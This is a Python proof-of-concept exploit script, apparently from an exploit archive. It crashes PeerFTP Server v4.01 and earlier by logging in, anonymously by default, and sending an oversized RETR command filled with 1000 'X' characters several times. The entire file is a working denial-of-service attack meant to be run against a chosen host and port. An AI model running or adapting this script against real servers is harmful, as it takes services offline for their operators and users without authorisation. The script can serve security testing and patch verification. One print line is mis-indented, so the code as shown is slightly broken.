#!/usr/bin/python
# PeerFTP Server <=v4.01 Remote Crash PoC
# written by localh0t
# Date: 19/03/12
# Contact: mattdch0@gmail.com
# Follow: @mattdch
# www.localh0t.com.ar
from socket import *
import sys, struct, os
if (len(sys.argv) < 3):
    print "\nPeerFTP Server <=v4.01 Remote Crash PoC"
        print "\n   Usage: %s <host> <port> \n" %(sys.argv[0])
    sys.exit()
def checkDefaultUser(username,password):
    if username == '':
        username = "anonymous"
    if password == '':
        password = "anonymous@test.com"
    else:
        pass
    return username,password
def createUser():
    username = raw_input("[!] Insert username (default: anonymous)> ")
    password = raw_input("[!] Insert password (default: anonymous@test.com)> ")
    return checkDefaultUser(username,password)
(username,password) = createUser()
print "\n[!] Connecting to %s ..." %(sys.argv[1])
# connect to host
sock = socket(AF_INET,SOCK_STREAM)
sock.connect((sys.argv[1],int(sys.argv[2])))
sock.recv(1024)
print "[!] USERNAME: " + username
sock.send("USER " + username + "\r\n")
sock.recv(1024)
print "[!] PASSWORD: " + password
sock.send("PASS " + password + "\r\n")
sock.recv(1024)
print "[!] Sending payload..."
payload = "RETR " + ("X" * 1000) + "\r\n"
for i in range (1, 5):
    sock.send(payload)
sock.close()
print "[!] Exploit succeed. Target should crashed."
sys.exit()